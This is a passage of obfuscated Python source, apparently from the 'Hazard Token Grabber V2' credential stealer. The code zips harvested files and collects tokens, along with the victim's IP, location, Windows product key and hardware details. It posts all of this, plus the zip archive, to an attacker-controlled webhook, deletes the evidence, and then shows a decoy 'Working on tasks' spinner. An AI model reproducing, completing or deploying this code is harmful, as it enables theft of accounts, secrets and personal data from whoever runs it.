O0OO0OO00O0000O00 ="https://www.google.com/maps/search/google+map++"+O00O000O0O0O0O00O .get ('loc')#line:458
_OOOO000OO00O0000O =os .path .join (O000O0O00O0O0OOOO .appdata ,f'Hazard.V2-[{os.getlogin()}].zip')#line:461
OOOOOO0OOO0O0O00O =zipfile .ZipFile (_OOOO000OO00O0000O ,"w",zipfile .ZIP_DEFLATED )#line:462
O00O0OO00O0O0OO00 =os .path .abspath (O000O0O00O0O0OOOO .dir )#line:463
for O0O00O000OO0000O0 ,_OO0000O0OOOOOOOOO ,OOOOO00O0O0OOOO00 in os .walk (O000O0O00O0O0OOOO .dir ):#line:464
for OOOO0O0OOO000OO0O in OOOOO00O0O0OOOO00 :#line:465
O0OO000OO00OO00O0 =os .path .abspath (os .path .join (O0O00O000OO0000O0 ,OOOO0O0OOO000OO0O ))#line:466
OO0OO0000OOO0OO0O =O0OO000OO00OO00O0 [len (O00O0OO00O0O0OO00 )+1 :]#line:467
OOOOOO0OOO0O0O00O .write (O0OO000OO00OO00O0 ,OO0OO0000OOO0OO0O )#line:468
OOOOOO0OOO0O0O00O .close ()#line:469
OOOOOO0O0OOO000O0 =''#line:470
for OO000OOO000O0OOOO in os .listdir (O000O0O00O0O0OOOO .dir ):#line:471
OOOOOO0O0OOO000O0 +=f"・{OO000OOO000O0OOOO}\n"#line:472
OO00OOO0O0OO0000O =''#line:473
for OOO000O0O00000000 in O000O0O00O0O0OOOO .tokens :#line:474
OO00OOO0O0OO0000O +=f'{OOO000O0O00000000}\n\n'#line:475
O00OOO0OOO0OOOOOO =f"{len(OOOOO00O0O0OOOO00)} Files Found: "#line:476
O0OO0OOO0000OO0OO ={'username' 'avatar_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Big_hazard.gif','embeds':[{'author':{'name':f'*{os.getlogin()}* Just ran Hazard Token Grabber.V2','url':'https://github.com/Rdimo/Hazard-Token-Grabber-V2','icon_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Small_hazard.gif'},'color':16119101 ,'description':f'[Google Maps Location]({O0OO0OO00O0000O00})','fields':[{'name':'\u200b','value':f'''```fix
IP:á Žâ€¯{OO00OO0O0OO00000O}
Org:á Žâ€¯{OOO0O00OO000OO0OO}
City:á Žâ€¯{OOOO0000OOO00O00O}
Region:á Žâ€¯{OOOO000OO00O00OOO}
Country:á Žâ€¯{OOOOOOO0O0000000O}```
'''.replace (' ',''),'inline':True },{'name':'\u200b','value':f'''```fix
PCName: {os.getenv('COMPUTERNAME').replace(" ", "á Žâ€¯")}
WinKey:á Žâ€¯{OO00O00OO0O0OO000}
Platform:á Žâ€¯{OO0O0OOOO00OOO0O0}
DiskSpace:á Žâ€¯{OO0OO0OO00OOOO0O0}GB
Ram:á Žâ€¯{OOOOOO000O0OO0OO0}GB```
'''.replace (' ',''),'inline':True },{'name':'**Tokens:**','value':f'''```yaml
{OO00OOO0O0OO0000O if OO00OOO0O0OO0000O else "No tokens extracted"}```
'''.replace (' ',''),'inline':False },{'name':O00OOO0OOO0OOOOOO ,'value':f'''```ini
[
{OOOOOO0O0OOO000O0.strip()}
]```
'''.replace (' ',''),'inline':False }],'footer':{'text':'🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2'}}]}#line:534
httpx .post (O000O0O00O0O0OOOO .webhook ,json =O0OO0OOO0000OO0OO )#line:535
with open (_OOOO000OO00O0000O ,'rb')as OO000OOO000O0OOOO :#line:536
httpx .post (O000O0O00O0O0OOOO .webhook ,files ={'upload_file':OO000OOO000O0OOOO })#line:537
os .remove (_OOOO000OO00O0000O )#line:538
if __name__ =="__main__"and os .name =="nt":#line:541
asyncio .run (Hazard_Token_Grabber_V2 ().init ())#line:542
console =Console ()#line:543
tasks =[f"task {OOOOOO0OOO00000OO}"for OOOOOO0OOO00000OO in range (1 ,11 )]#line:544
with console .status ("[bold green]Working on tasks...")as status :#line:545
while tasks :#line:546
task =tasks .pop (0 )#line:547
sleep (1 )#line:548
console .log (f"{task} complete")